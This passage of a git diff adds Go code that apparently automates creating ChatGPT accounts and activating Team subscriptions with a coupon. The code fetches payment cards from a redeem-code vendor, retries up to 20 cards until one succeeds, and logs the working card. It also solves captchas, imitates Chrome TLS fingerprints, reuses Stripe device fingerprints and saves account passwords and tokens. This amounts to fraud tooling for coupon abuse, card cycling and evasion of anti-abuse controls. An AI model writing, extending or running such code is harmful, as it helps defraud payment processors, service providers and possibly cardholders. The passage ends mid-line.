*auth.SentinelGenerator, + cardProv card.CardProvider, stripeCfg config.StripeConfig, teamCfg config.TeamConfig, + fingerprint *stripe.Fingerprint, emailAddr string, + solver *captcha.Solver, + emailProvider email.EmailProvider, mailboxID string, + statusFn StatusFunc) (*TeamResult, error) { + + sf := func(format string, args ...interface{}) { + if statusFn != nil { + statusFn(format, args...) + } + } + + // Step 1: Check coupon eligibility. + sf(" -> Checking Team coupon eligibility...") + eligible, err := CheckTeamEligibility(session.Client, session.AccessToken, session.DeviceID, teamCfg.Coupon) + if err != nil { + return nil, fmt.Errorf("check team eligibility: %w", err) + } + if !eligible { + return nil, fmt.Errorf("account not eligible for team coupon %q", teamCfg.Coupon) + } + sf(" -> Team coupon is eligible") + + // Step 2: Generate Sentinel token for checkout creation. + sf(" -> Generating Sentinel token...") + sentinelToken, err := sentinel.GenerateToken(ctx, nil, "authorize_continue") + if err != nil { + return nil, fmt.Errorf("generate sentinel token: %w", err) + } + + // Step 3: Fetch the first card before checkout so country/currency match. + sf(" -> Fetching payment card...") + cardInfo, err := cardProv.GetCard(ctx) + if err != nil { + return nil, fmt.Errorf("get card for team: %w", err) + } + + workspaceName := fmt.Sprintf("%s-%s", teamCfg.WorkspacePrefix, randomString(8)) + sf(" -> Card: ...%s (%s), workspace=%s", last4(cardInfo.Number), cardInfo.Country, workspaceName) + + checkoutBody := map[string]interface{}{ + "plan_name": "chatgptteamplan", + "team_plan_data": map[string]interface{}{ + "workspace_name": workspaceName, + "price_interval": "month", + "seat_quantity": teamCfg.SeatQuantity, + }, + "promo_campaign": map[string]interface{}{ + "promo_campaign_id": teamCfg.Coupon, + "is_coupon_from_query_param": false, + }, + "billing_details": map[string]interface{}{ + "country": cardInfo.Country, + "currency": cardInfo.Currency, + }, + "checkout_ui_mode": "custom", + "cancel_url": "https://chatgpt.com/#pricing", + } + + // Step 4: Create the checkout session. + var checkoutResult *stripe.CheckoutResult + if stripeCfg.Aimizy.Enabled { + sf(" -> Creating Team checkout via Aimizy...") + checkoutResult, err = stripe.CreateCheckoutViaAimizy( + stripeCfg.Aimizy, + session.AccessToken, + cardInfo.Country, + cardInfo.Currency, + "chatgptteamplan", + teamCfg.Coupon, + teamCfg.SeatQuantity, + ) + if err != nil { + return nil, fmt.Errorf("aimizy create team checkout: %w", err) + } + } else { + sf(" -> Creating Team checkout...") + checkoutResult, err = stripe.CreateCheckoutSession( + session.Client, + session.AccessToken, + session.DeviceID, + sentinelToken, + checkoutBody, + ) + if err != nil { + return nil, fmt.Errorf("create team checkout session: %w", err) + } + } + sf(" -> Checkout created: %s (amount=%d)", checkoutResult.CheckoutSessionID, checkoutResult.ExpectedAmount) + + // Step 5: Complete Stripe payment (card retry + captcha). + teamStripeJsID := uuid.New().String() + flowResult, err := stripe.RunPaymentFlow(ctx, &stripe.PaymentFlowParams{ + Client: session.Client, + CheckoutResult: checkoutResult, + FirstCard: cardInfo, + CardProv: cardProv, + Solver: solver, + StripeCfg: stripeCfg, + Fingerprint: fingerprint, + EmailAddr: emailAddr, + StripeJsID: teamStripeJsID, + UserAgent: defaultUserAgent, + StatusFn: sf, + MaxRetries: 20, + }) + if err != nil { + if errors.Is(err, stripe.ErrNoCaptchaSolver) { + return nil, ErrCaptchaRequired + } + return nil, fmt.Errorf("confirm team payment: %w", err) + } + + logSuccessCard(flowResult.CardInfo, emailAddr) + + // Step 6: Wait for Stripe to finish processing the subscription. + returnURL := "" + if flowResult.ConfirmResult != nil { + returnURL = flowResult.ConfirmResult.ReturnURL + } + + sf(" -> Waiting for Stripe finalization...") + pollResult, err := waitForStripePaymentPageSuccess(ctx, session.Client, checkoutResult, stripeCfg, sf) + if err != nil { + return nil, fmt.Errorf("wait for stripe finalization: %w", err) + } + if pollResult.ReturnURL != "" { + returnURL = pollResult.ReturnURL + } + + teamAccountID := accountIDFromReturnURL(returnURL) + if teamAccountID != "" { + sf(" -> Stripe return URL provided account_id=%s", teamAccountID) + } else { + log.Printf("[phase-6] no account_id found in Stripe return_url") + } + + // Flow C fallback: extract account_id from email only after Stripe is truly finalized. + if teamAccountID == "" { + if emailProvider != nil && mailboxID != "" { + sf(" -> Flow C: waiting for workspace email account_id (up to 90s)...") + emailAccountID, emailErr := emailProvider.WaitForTeamAccountID(ctx, mailboxID, 90*time.Second, time.Now().Add(-30*time.Second)) + if emailErr == nil && emailAccountID != "" { + teamAccountID = emailAccountID + sf(" -> Flow C: extracted account_id=%s from email", teamAccountID) + } else if emailErr != nil { + log.Printf("[phase-6] Flow C email extraction failed: %v", emailErr) + } else { + log.Printf("[phase-6] Flow C did not find account_id in email") + } + } else { + log.Printf("[phase-6] Flow C skipped (no email provider/mailboxID)") + } + } + + // Step 7: Visit success-team after Stripe itself is finalized. + sf(" -> Visiting Team success page...") + if err := visitSuccessTeamPageWithRetry(ctx, session.Client, + checkoutResult.CheckoutSessionID, teamAccountID, checkoutResult.ProcessorEntity, false); err != nil { + return nil, fmt.Errorf("visit success-team page: %w", err) + } + + // Step 8: Wait for the workspace to actually appear in accounts/check. + sf(" -> Waiting for Team workspace to appear in accounts/check...") + workspaceAccount, err := waitForTeamWorkspace(ctx, session.Client, session.AccessToken, session.DeviceID, teamAccountID, sf) + if err != nil { + return nil, err + } + teamAccountID = workspaceAccount.AccountID + teamAccountUserID := workspaceAccount.AccountUserID + sf(" -> Team workspace confirmed: %s", teamAccountID) + + // Step 9: Exchange a workspace-scoped token only after the workspace exists. + sf(" -> Exchanging workspace token...") + workspaceToken, tokenErr := getWorkspaceTokenWithRetry(ctx, session.Client, teamAccountID, sf) + if tokenErr != nil { + log.Printf("[phase-6] workspace token exchange failed (non-fatal): %v", tokenErr) + } + + workspaceAuthToken := session.AccessToken + if workspaceToken != "" { + workspaceAuthToken = workspaceToken + } + + // Step 10: Final server-side subscription check. + sf(" -> Verifying Team subscription status...") + if err := checkTeamSubscription(session.Client, workspaceAuthToken, session.DeviceID, teamAccountID); err != nil { + return nil, fmt.Errorf("verify team subscription: %w", err) + } + + // Step 11: Complete workspace onboarding. + sf(" -> Finalizing workspace onboarding...") + if userID := extractUserID(teamAccountUserID); userID != "" { + log.Printf("[phase-6] patching workspace user: %s", userID) + if err := patchWorkspaceUser(session.Client, workspaceAuthToken, session.DeviceID, teamAccountID, userID); err != nil { + log.Printf("[phase-6] warning: patch workspace user failed: %v (non-fatal)", err) + } else { + log.Printf("[phase-6] workspace user patched successfully") + } + } + + log.Printf("[phase-6] marking onboarding as seen") + if err := markOnboardingSeen(session.Client, workspaceAuthToken, session.DeviceID); err != nil { + log.Printf("[phase-6] warning: mark onboarding failed: %v (non-fatal)", err) + } else { + log.Printf("[phase-6] onboarding marked as seen") + } + + log.Printf("[phase-6] team activation complete: account=%s", teamAccountID) + + return &TeamResult{ + TeamAccountID: teamAccountID, + WorkspaceToken: workspaceToken, + StripeSessionID: checkoutResult.CheckoutSessionID, + }, nil +} + +func waitForStripePaymentPageSuccess(ctx context.Context, client *httpclient.Client, + checkoutResult *stripe.CheckoutResult, stripeCfg config.StripeConfig, statusFn StatusFunc) (*stripe.PaymentPagePollResult, error) { + + var lastResult *stripe.PaymentPagePollResult + var lastErr error + + for attempt := 1; attempt <= teamStripePollAttempts; attempt++ { + result, err := stripe.PollPaymentPage(client, &stripe.PaymentPagePollParams{ + CheckoutSessionID: checkoutResult.CheckoutSessionID, + PublishableKey: checkoutResult.PublishableKey, + StripeVersion: stripeCfg.StripeVersion, + UserAgent: defaultUserAgent, + }) + if err != nil { + lastErr = err + log.Printf("[phase-6] stripe poll attempt %d/%d failed: %v", attempt, teamStripePollAttempts, err) + } else { + lastResult = result + if statusFn != nil { + statusFn(" -> Stripe poll %d/%d: state=%s payment_object_status=%s", + attempt, teamStripePollAttempts, result.State, result.PaymentObjectStatus) + } + if result.State == "succeeded" { + return result, nil + } + if result.State == "failed" || result.PaymentObjectStatus == "failed" { + return nil, fmt.Errorf("stripe payment page failed: state=%q payment_object_status=%q", + result.State, result.PaymentObjectStatus) + } + } + + if attempt < teamStripePollAttempts { + if err := sleepContext(ctx, time.Second); err != nil { + return nil, err + } + } + } + + if lastResult != nil { + return nil, fmt.Errorf("stripe payment page did not reach succeeded (state=%q payment_object_status=%q)", + lastResult.State, lastResult.PaymentObjectStatus) + } + if lastErr != nil { + return nil, lastErr + } + return nil, fmt.Errorf("stripe payment page polling exhausted with no result") +} + +func accountIDFromReturnURL(raw string) string { + if raw == "" { + return "" + } + + u, err := url.Parse(raw) + if err != nil { + return "" + } + return u.Query().Get("account_id") +} + +func visitSuccessTeamPageWithRetry(ctx context.Context, client *httpclient.Client, + stripeSessionID, accountID, processorEntity string, refreshAccount bool) error { + + var lastErr error + for attempt := 1; attempt <= teamSuccessPageAttempts; attempt++ { + if err := doVisitSuccessTeamPage(client, stripeSessionID, accountID, processorEntity, refreshAccount); err == nil { + return nil + } else { + lastErr = err + log.Printf("[phase-6] success-team attempt %d/%d failed: %v", attempt, teamSuccessPageAttempts, err) + } + if attempt < teamSuccessPageAttempts { + if err := sleepContext(ctx, time.Second); err != nil { + return err + } + } + } + return lastErr +} + +func waitForTeamWorkspace(ctx context.Context, client *httpclient.Client, + accessToken, deviceID, preferredAccountID string, statusFn StatusFunc) (*AccountInfo, error) { + + var lastErr error + for attempt := 1; attempt <= teamWorkspacePolls; attempt++ { + accounts, err := CheckAccountFull(client, accessToken, deviceID) + if err != nil { + lastErr = err + log.Printf("[phase-6] accounts/check attempt %d/%d failed: %v", attempt, teamWorkspacePolls, err) + } else { + if acct := selectTeamWorkspace(accounts, preferredAccountID); acct != nil { + log.Printf("[phase-6] workspace confirmed: plan=%s, user=%s", acct.PlanType, acct.AccountUserID) + return acct, nil + } + lastErr = fmt.Errorf("workspace not visible yet") + if statusFn != nil { + statusFn(" -> accounts/check %d/%d: workspace not visible yet", attempt, teamWorkspacePolls) + } + } + + if attempt < teamWorkspacePolls { + if err := sleepContext(ctx, teamWorkspacePollDelay); err != nil { + return nil, err + } + } + } + + if preferredAccountID != "" { + return nil, fmt.Errorf("team workspace %s not visible after %d polls: %w", + preferredAccountID, teamWorkspacePolls, lastErr) + } + return nil, fmt.Errorf("team workspace not visible after %d polls: %w", teamWorkspacePolls, lastErr) +} + +func selectTeamWorkspace(accounts []*AccountInfo, preferredAccountID string) *AccountInfo { + if preferredAccountID != "" { + for _, acct := range accounts { + if acct.AccountID == preferredAccountID && acct.Structure == "workspace" && acct.PlanType == "team" { + return acct + } + } + return nil + } + + for _, acct := range accounts { + if acct.Structure == "workspace" && acct.PlanType == "team" { + return acct + } + } + return nil +} + +func getWorkspaceTokenWithRetry(ctx context.Context, client *httpclient.Client, + teamAccountID string, statusFn StatusFunc) (string, error) { + + var lastErr error + for attempt := 1; attempt <= 3; attempt++ { + token, err := exchangeWorkspaceToken(client, teamAccountID) + if err == nil { + if statusFn != nil { + statusFn(" -> Workspace token exchange succeeded (%d/3)", attempt) + } + return token, nil + } + lastErr = err + if statusFn != nil { + statusFn(" -> Workspace token exchange %d/3 failed: %v", attempt, err) + } + if attempt < 3 { + if err := sleepContext(ctx, time.Second); err != nil { + return "", err + } + } + } + + for attempt := 1; attempt <= 3; attempt++ { + token, err := GetWorkspaceAccessToken(client, teamAccountID) + if err == nil { + if statusFn != nil { + statusFn(" -> Workspace session token succeeded (%d/3)", attempt) + } + return token, nil + } + lastErr = err + if statusFn != nil { + statusFn(" -> Workspace session token %d/3 failed: %v", attempt, err) + } + if attempt < 3 { + if err := sleepContext(ctx, time.Second); err != nil { + return "", err + } + } + } + + return "", lastErr +} + +func sleepContext(ctx context.Context, delay time.Duration) error { + timer := time.NewTimer(delay) + defer timer.Stop() + + select { + case <-ctx.Done(): + return ctx.Err() + case <-timer.C: + return nil + } +} + +// doVisitSuccessTeamPage visits the success-team page after Stripe checkout finalizes. +func doVisitSuccessTeamPage(client *httpclient.Client, stripeSessionID, accountID, processorEntity string, refreshAccount bool) error { + successURL := fmt.Sprintf( + "https://chatgpt.com/payments/success-team?stripe_session_id=%s&processor_entity=%s", + stripeSessionID, processorEntity, + ) + if accountID != "" { + successURL += "&account_id=" + accountID + } + if refreshAccount { + successURL += "&refresh_account=true" + } + + req, err := http.NewRequest("GET", successURL, nil) + if err != nil { + return fmt.Errorf("build success-team request: %w", err) + } + req.Header.Set("User-Agent", defaultUserAgent) + req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8") + req.Header.Set("Referer", chatGPTOrigin+"/") + + resp, err := client.Do(req) + if err != nil { + return fmt.Errorf("success-team request: %w", err) + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return fmt.Errorf("read success-team response: %w", err) + } + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("success-team returned %d: %s", resp.StatusCode, string(body)) + } + + log.Printf("[team] success-team visited (status=%d, account_id=%s, refresh=%v)", resp.StatusCode, accountID, refreshAccount) + return nil +} + +func checkTeamSubscription(client *httpclient.Client, accessToken, deviceID, accountID string) error { + subURL := fmt.Sprintf("https://chatgpt.com/backend-api/subscriptions?account_id=%s", url.QueryEscape(accountID)) + + req, err := http.NewRequest("GET", subURL, nil) + if err != nil { + return fmt.Errorf("build subscription request: %w", err) + } + req.Header.Set("Authorization", "Bearer "+accessToken) + req.Header.Set("User-Agent", defaultUserAgent) + req.Header.Set("Accept", "application/json") + req.Header.Set("Origin", chatGPTOrigin) + req.Header.Set("Referer", chatGPTOrigin+"/") + req.Header.Set("oai-device-id", deviceID) + req.Header.Set("oai-language", defaultLanguage) + req.Header.Set("chatgpt-account-id", accountID) + + resp, err := client.Do(req) + if err != nil { + return fmt.Errorf("subscription request: %w", err) + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return fmt.Errorf("read subscription response: %w", err) + } + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("subscription returned %d: %s", resp.StatusCode, string(body)) + } + + var result struct { + PlanType string `json:"plan_type"` + } + if err := json.Unmarshal(body, &result); err != nil { + return fmt.Errorf("parse subscription response: %w", err) + } + if result.PlanType != "team" { + return fmt.Errorf("unexpected subscription plan_type=%q", result.PlanType) + } + + log.Printf("[team] subscription verified: account=%s plan=%s", accountID, result.PlanType) + return nil +} + +// patchWorkspaceUser finalizes the owner's onboarding inside the workspace. +func patchWorkspaceUser(client *httpclient.Client, accessToken, deviceID, accountID, userID string) error { + patchURL := fmt.Sprintf("https://chatgpt.com/backend-api/accounts/%s/users/%s", accountID, userID) + + payload := map[string]interface{}{ + "onboarding_information": map[string]interface{}{ + "role": "engineering", + "departments": []string{}, + }, + } + jsonBody, err := json.Marshal(payload) + if err != nil { + return fmt.Errorf("marshal patch payload: %w", err) + } + + req, err := http.NewRequest("PATCH", patchURL, strings.NewReader(string(jsonBody))) + if err != nil { + return fmt.Errorf("build patch request: %w", err) + } + req.Header.Set("Authorization", "Bearer "+accessToken) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("User-Agent", defaultUserAgent) + req.Header.Set("Origin", chatGPTOrigin) + req.Header.Set("Referer", chatGPTOrigin+"/") + req.Header.Set("oai-device-id", deviceID) + req.Header.Set("oai-language", defaultLanguage) + req.Header.Set("chatgpt-account-id", accountID) + + resp, err := client.Do(req) + if err != nil { + return fmt.Errorf("patch request: %w", err) + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return fmt.Errorf("read patch response: %w", err) + } + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("patch returned %d: %s", resp.StatusCode, string(body)) + } + + log.Printf("[team] patch workspace user response: %s", string(body)) + return nil +} + +// markOnboardingSeen tells the backend that onboarding has been completed. +func markOnboardingSeen(client *httpclient.Client, accessToken, deviceID string) error { + onboardURL := "https://chatgpt.com/backend-api/settings/announcement_viewed?announcement_id=oai%2Fapps%2FhasSeenOnboarding" + + req, err := http.NewRequest("POST", onboardURL, nil) + if err != nil { + return fmt.Errorf("build onboarding request: %w", err) + } + req.Header.Set("Authorization", "Bearer "+accessToken) + req.Header.Set("User-Agent", defaultUserAgent) + req.Header.Set("Origin", chatGPTOrigin) + req.Header.Set("Referer", chatGPTOrigin+"/") + req.Header.Set("oai-device-id", deviceID) + req.Header.Set("oai-language", defaultLanguage) + + resp, err := client.Do(req) + if err != nil { + return fmt.Errorf("onboarding request: %w", err) + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return fmt.Errorf("read onboarding response: %w", err) + } + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("onboarding returned %d: %s", resp.StatusCode, string(body)) + } + + log.Printf("[team] onboarding marked as seen: %s", string(body)) + return nil +} + +// extractUserID extracts the short user ID from "user-xxx__account-id". +func extractUserID(accountUserID string) string { + if idx := strings.Index(accountUserID, "__"); idx > 0 { + return accountUserID[:idx] + } + return accountUserID +} + +// exchangeWorkspaceToken gets a workspace-scoped JWT via the NextAuth cookie-authenticated endpoint. +func exchangeWorkspaceToken(client *httpclient.Client, teamAccountID string) (string, error) { + exchangeURL := fmt.Sprintf( + "https://chatgpt.com/api/auth/session?exchange_workspace_token=true&workspace_id=%s&reason=setCurrentAccountWithoutRedirect", + teamAccountID, + ) + + headers := map[string]string{ + "User-Agent": defaultUserAgent, + "Accept": "application/json", + "Origin": chatGPTOrigin, + "Referer": chatGPTOrigin + "/", + } + + resp, err := client.Get(exchangeURL, headers) + if err != nil { + return "", fmt.Errorf("workspace token request: %w", err) + } + + body, err := httpclient.ReadBody(resp) + if err != nil { + return "", fmt.Errorf("read workspace token body: %w", err) + } + if resp.StatusCode != http.StatusOK { + return "", fmt.Errorf("workspace token exchange returned %d: %s", resp.StatusCode, string(body)) + } + + var result struct { + AccessToken string `json:"accessToken"` + } + if err := json.Unmarshal(body, &result); err != nil { + return "", fmt.Errorf("parse workspace token response: %w", err) + } + if result.AccessToken == "" { + log.Printf("[team] workspace token exchange response body: %s", string(body)) + return "", fmt.Errorf("empty access token in workspace exchange response") + } + + return result.AccessToken, nil +} + +// randomString generates a random alphanumeric string of the given length. +func randomString(n int) string { + rng := rand.New(rand.NewSource(time.Now().UnixNano())) + const letters = "abcdefghijklmnopqrstuvwxyz0123456789" + b := make([]byte, n) + for i := range b { + b[i] = letters[rng.Intn(len(letters))] + } + return string(b) +} diff --git a/pkg/chatgpt/types.go b/pkg/chatgpt/types.go new file mode 100644 index 0000000..7dcd9c1 --- /dev/null +++ b/pkg/chatgpt/types.go @@ -0,0 +1,30 @@ +package chatgpt + +// AccountResult is the output data for a fully provisioned account. +type AccountResult struct { + Email string `json:"email"` + Password string `json:"password"` + AccessToken string `json:"access_token"` + RefreshToken string `json:"refresh_token"` + IDToken string `json:"id_token"` + ChatGPTAccountID string `json:"chatgpt_account_id"` + ChatGPTUserID string `json:"chatgpt_user_id"` + OrganizationID string `json:"organization_id"` + + // Plus info + PlanType string `json:"plan_type"` + StripeSessionID string `json:"stripe_session_id"` + + // Team info (if Team was activated) + TeamAccountID string `json:"team_account_id,omitempty"` + WorkspaceToken string `json:"workspace_token,omitempty"` + + // Stripe fingerprint (reusable) + GUID string `json:"guid"` + MUID string `json:"muid"` + SID string `json:"sid"` + + // Meta + CreatedAt string `json:"created_at"` + Proxy string `json:"proxy,omitempty"` +} diff --git a/pkg/httpclient/client.go b/pkg/httpclient/client.go new file mode 100644 index 0000000..44b0780 --- /dev/null +++ b/pkg/httpclient/client.go @@ -0,0 +1,279 @@ +package httpclient + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "net/url" + "strings" + "time" + + fhttp "github.com/bogdanfinn/fhttp" + tls_client "github.com/bogdanfinn/tls-client" + "github.com/bogdanfinn/tls-client/profiles" +) + +const defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" + +// Client wraps tls-client with Chrome TLS + HTTP/2 fingerprint and proxy support. +type Client struct { + tlsClient tls_client.HttpClient + jar tls_client.CookieJar +} + +// NewClient creates a new Client with Chrome TLS + HTTP/2 fingerprint. +func NewClient(proxyURL string) (*Client, error) { + jar := tls_client.NewCookieJar() + + options := []tls_client.HttpClientOption{ + tls_client.WithClientProfile(profiles.Chrome_146), + tls_client.WithCookieJar(jar), + tls_client.WithTimeoutSeconds(30), + // Follow redirects by default (needed for OAuth flow) + } + + if proxyURL != "" { + options = append(options, tls_client.WithProxyUrl(proxyURL)) + } + + client, err := tls_client.NewHttpClient(nil, options...) + if err != nil { + return nil, fmt.Errorf("create tls client: %w", err) + } + + return &Client{ + tlsClient: client, + jar: jar, + }, nil +} + +// GetCookieJar returns a wrapper that implements http.CookieJar. +func (c *Client) GetCookieJar() http.CookieJar { + return &cookieJarWrapper{jar: c.jar} +} + +// ResetCookies creates a fresh cookie jar, clearing all existing cookies. +func (c *Client) ResetCookies() { + jar := tls_client.NewCookieJar() + c.jar = jar + c.tlsClient.SetCookieJar(jar) +} + +// Do executes a standard net/http request by converting to fhttp. +func (c *Client) Do(req *http.Request) (*http.Response, error) { + if req.Header.Get("User-Agent") == "" { + req.Header.Set("User-Agent", defaultUserAgent) + } + fReq, err := convertRequest(req) + if err != nil { + return nil, err + } + fResp, err := c.tlsClient.Do(fReq) + if err != nil { + return nil, err + } + return convertResponse(fResp), nil +} + +// Get performs a GET request with optional headers. +func (c *Client) Get(rawURL string, headers map[string]string) (*http.Response, error) { + req, err := http.NewRequest(http.MethodGet, rawURL, nil) + if err != nil { + return nil, err + } + for k, v := range headers { + req.Header.Set(k, v) + } + return c.Do(req) +} + +// PostJSON performs a POST request with a JSON body and optional headers. +func (c *Client) PostJSON(rawURL string, body interface{}, headers map[string]string) (*http.Response, error) { + data, err := json.Marshal(body) + if err != nil { + return nil, fmt.Errorf("marshal json body: %w", err) + } + req, err := http.NewRequest(http.MethodPost, rawURL, bytes.NewReader(data)) + if err != nil { + return nil, err + } + req.Header.Set("Content-Type", "application/json") + for k, v := range headers { + req.Header.Set(k, v) + } + return c.Do(req) +} + +// DoNoRedirect executes an HTTP request without following redirects. +func (c *Client) DoNoRedirect(req *http.Request) (*http.Response, error) { + if req.Header.Get("User-Agent") == "" { + req.Header.Set("User-Agent", defaultUserAgent) + } + fReq, err := convertRequest(req) + if err != nil { + return nil, err + } + // Set redirect func to stop following + c.tlsClient.SetFollowRedirect(false) + fResp, err := c.tlsClient.Do(fReq) + c.tlsClient.SetFollowRedirect(true) // restore + if err != nil { + return nil, err + } + return convertResponse(fResp), nil +} + +// PostForm performs a POST request with form-encoded body and optional headers. +func (c *Client) PostForm(rawURL string, values url.Values, headers map[string]string) (*http.Response, error) { + req, err := http.NewRequest(http.MethodPost, rawURL, strings.NewReader(values.Encode())) + if err != nil { + return nil, err + } + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + for k, v := range headers { + req.Header.Set(k, v) + } + return c.Do(req) +} + +// DoWithRetry executes a request-building function with retry on 403/network errors. +func (c *Client) DoWithRetry(ctx context.Context, maxRetries int, buildReq func() (*http.Request, error)) (*http.Response, error) { + var lastErr error + for attempt := 1; attempt <= maxRetries; attempt++ { + req, err := buildReq() + if err != nil { + return nil, err + } + resp, err := c.Do(req) + if err != nil { + lastErr = fmt.Errorf("attempt %d: %w", attempt, err) + log.Printf("[http] attempt %d/%d failed: %v", attempt, maxRetries, err) + } else if resp.StatusCode == 403 { + body, _ := ReadBody(resp) + bodyStr := string(body) + + // Don't retry API-level rejections + if strings.Contains(bodyStr, "unsupported_country") || + strings.Contains(bodyStr, "request_forbidden") { + return nil, fmt.Errorf("HTTP 403: %s", bodyStr) + } + + lastErr = fmt.Errorf("attempt %d: HTTP 403 (len=%d)", attempt, len(body)) + log.Printf("[http] attempt %d/%d got 403 from %s: %s", attempt, maxRetries, req.URL.Host, bodyStr) + } else { + return resp, nil + } + + if attempt < maxRetries { + wait := time.Duration(3*attempt) * time.Second + log.Printf("[http] waiting %v before retry...", wait) + select { + case <-ctx.Done(): + return nil, ctx.Err() + case <-time.After(wait): + } + } + } + return nil, fmt.Errorf("failed after %d attempts: %w", maxRetries, lastErr) +} + +// ReadBody reads and closes the response body fully. +func ReadBody(resp *http.Response) ([]byte, error) { + defer resp.Body.Close() + return io.ReadAll(resp.Body) +} + +// ─── Type conversion helpers (net/http <-> fhttp) ─── + +// convertRequest converts a standard *http.Request to *fhttp.Request. +func convertRequest(req *http.Request) (*fhttp.Request, error) { + // Read the body fully so fhttp gets a fresh bytes.Reader with known length. + // This avoids ContentLength mismatches when the original body is an + // io.NopCloser(*strings.Reader) that fhttp cannot introspect. + var body io.Reader + if req.Body != nil { + bodyBytes, err := io.ReadAll(req.Body) + if err != nil { + return nil, fmt.Errorf("read request body for conversion: %w", err) + } + body = bytes.NewReader(bodyBytes) + } + + fReq, err := fhttp.NewRequest(req.Method, req.URL.String(), body) + if err != nil { + return nil, err + } + // Copy headers + for k, vs := range req.Header { + for _, v := range vs { + fReq.Header.Add(k, v) + } + } + return fReq, nil +} + +// convertResponse converts an *fhttp.Response to a standard *http.Response. +func convertResponse(fResp *fhttp.Response) *http.Response { + resp := &http.Response{ + Status: fResp.Status, + StatusCode: fResp.StatusCode, + Proto: fResp.Proto, + ProtoMajor: fResp.ProtoMajor, + ProtoMinor: fResp.ProtoMinor, + Body: fResp.Body, + ContentLength: fResp.ContentLength, + Header: http.Header{}, + Request: &http.Request{URL: fResp.Request.URL}, + } + for k, vs := range fResp.Header { + for _, v := range vs { + resp.Header.Add(k, v) + } + } + return resp +} + +// ─── Cookie jar wrapper (tls_client.CookieJar -> http.CookieJar) ─── + +type cookieJarWrapper struct { + jar tls_client.CookieJar +} + +func (w *cookieJarWrapper) SetCookies(u *url.URL, cookies []*http.Cookie) { + fCookies := make([]*fhttp.Cookie, len(cookies)) + for i, c := range cookies { + fCookies[i] = &fhttp.Cookie{ + Name: c.Name, + Value: c.Value, + Path: c.Path, + Domain: c.Domain, + Expires: c.Expires, + MaxAge: c.MaxAge, + Secure: c.Secure, + HttpOnly: c.HttpOnly, + } + } + w.jar.SetCookies(u, fCookies) +} + +func (w *cookieJarWrapper) Cookies(u *url.URL) []*http.Cookie { + fCookies := w.jar.Cookies(u) + cookies := make([]*http.Cookie, len(fCookies)) + for i, c := range fCookies { + cookies[i] = &http.Cookie{ + Name: c.Name, + Value: c.Value, + Path: c.Path, + Domain: c.Domain, + Expires: c.Expires, + MaxAge: c.MaxAge, + Secure: c.Secure, + HttpOnly: c.HttpOnly, + } + } + return cookies +} diff --git a/pkg/provider/card/api.go b/pkg/provider/card/api.go new file mode 100644 index 0000000..1c887fb --- /dev/null +++ b/pkg/provider/card/api.go @@ -0,0 +1,655 @@ +package card + +import ( + "bufio" + "context" + "encoding/json" + "fmt" + "io" + "log" + "math/rand" + "net/http" + "os" + "strings" + "sync" + "time" +) + +// APIProvider fetches cards from a redeem code platform (yyl.ncet.top). +// Flow: validate code → POST redeem → poll task-status until cards ready. +type APIProvider struct { + baseURL string + codes []string + defaultName string + defaultCountry string + defaultCurrency string + defaultAddress string + defaultCity string + defaultState string + defaultPostalCode string + cachePath string // local card cache file + httpClient *http.Client + + pool *CardPool + mu sync.Mutex + usedIdx int // next code index to try + allFetched bool +} + +// cachedCard is the JSON-serializable form of a cached card entry. +type cachedCard struct { + Card *CardInfo `json:"card"` + AddedAt time.Time `json:"added_at"` + BindCount int `json:"bind_count"` + Rejected bool `json:"rejected"` +} + +// APIProviderConfig holds config for the API card provider. +type APIProviderConfig struct { + BaseURL string + Codes []string // redeem codes + CodesFile string // path to file with one code per line (alternative to Codes) + DefaultName string + DefaultCountry string + DefaultCurrency string + DefaultAddress string + DefaultCity string + DefaultState string + DefaultPostalCode string + PoolCfg PoolConfig + CachePath string // path to card cache file (default: card_cache.json) +} + +// --- API response types --- + +type validateResponse struct { + Code int `json:"code"` + Message string `json:"message"` + Data struct { + Valid bool `json:"valid"` + RemainingQuantity int `json:"remainingQuantity"` + Quantity int `json:"quantity"` + ProductName string `json:"productName"` + IsUsed bool `json:"isUsed"` + } `json:"data"` +} + +type redeemRequest struct { + Code string `json:"code"` + ContactEmail string `json:"contactEmail"` + VisitorID string `json:"visitorId"` + Quantity int `json:"quantity"` +} + +type redeemResponse struct { + Code int `json:"code"` + Message string `json:"message"` + Data struct { + OrderNo string `json:"orderNo"` + IsAsync bool `json:"isAsync"` + TaskID string `json:"taskId"` + Cards []redeemCard `json:"cards"` + CardTemplate string `json:"cardTemplate"` + DeliveryStatus int `json:"deliveryStatus"` + } `json:"data"` +} + +type taskStatusResponse struct { + Code int `json:"code"` + Message string `json:"message"` + Data struct { + OrderNo string `json:"orderNo"` + Status int `json:"status"` // 1=processing, 2=done + Cards []redeemCard `json:"cards"` + CardTemplate string `json:"cardTemplate"` + Progress string `json:"progress"` + TaskID string `json:"taskId"` + } `json:"data"` +} + +type redeemCard struct { + ID int `json:"id"` + CardNumber string `json:"cardNumber"` + CardPassword string `json:"cardPassword"` + CardData string `json:"cardData"` // JSON string + Remark string `json:"remark"` +} + +type cardDataJSON struct { + CVV string `json:"cvv"` + ExpireTime string `json:"expireTime"` // ISO timestamp for card validity + Expiry string `json:"expiry"` // MMYY format + Nickname string `json:"nickname"` + Limit int `json:"limit"` +} + +// NewAPIProvider creates an API-based card provider. +func NewAPIProvider(cfg APIProviderConfig) (*APIProvider, error) { + codes := cfg.Codes + + // Load codes from file if specified + if cfg.CodesFile != "" && len(codes) == 0 { + fileCodes, err := loadCodesFromFile(cfg.CodesFile) + if err != nil { + return nil, fmt.Errorf("load codes file: %w", err) + } + codes = fileCodes + } + + if len(codes) == 0 { + return nil, fmt.Errorf("api card provider: no redeem codes configured") + } + + if cfg.DefaultCountry == 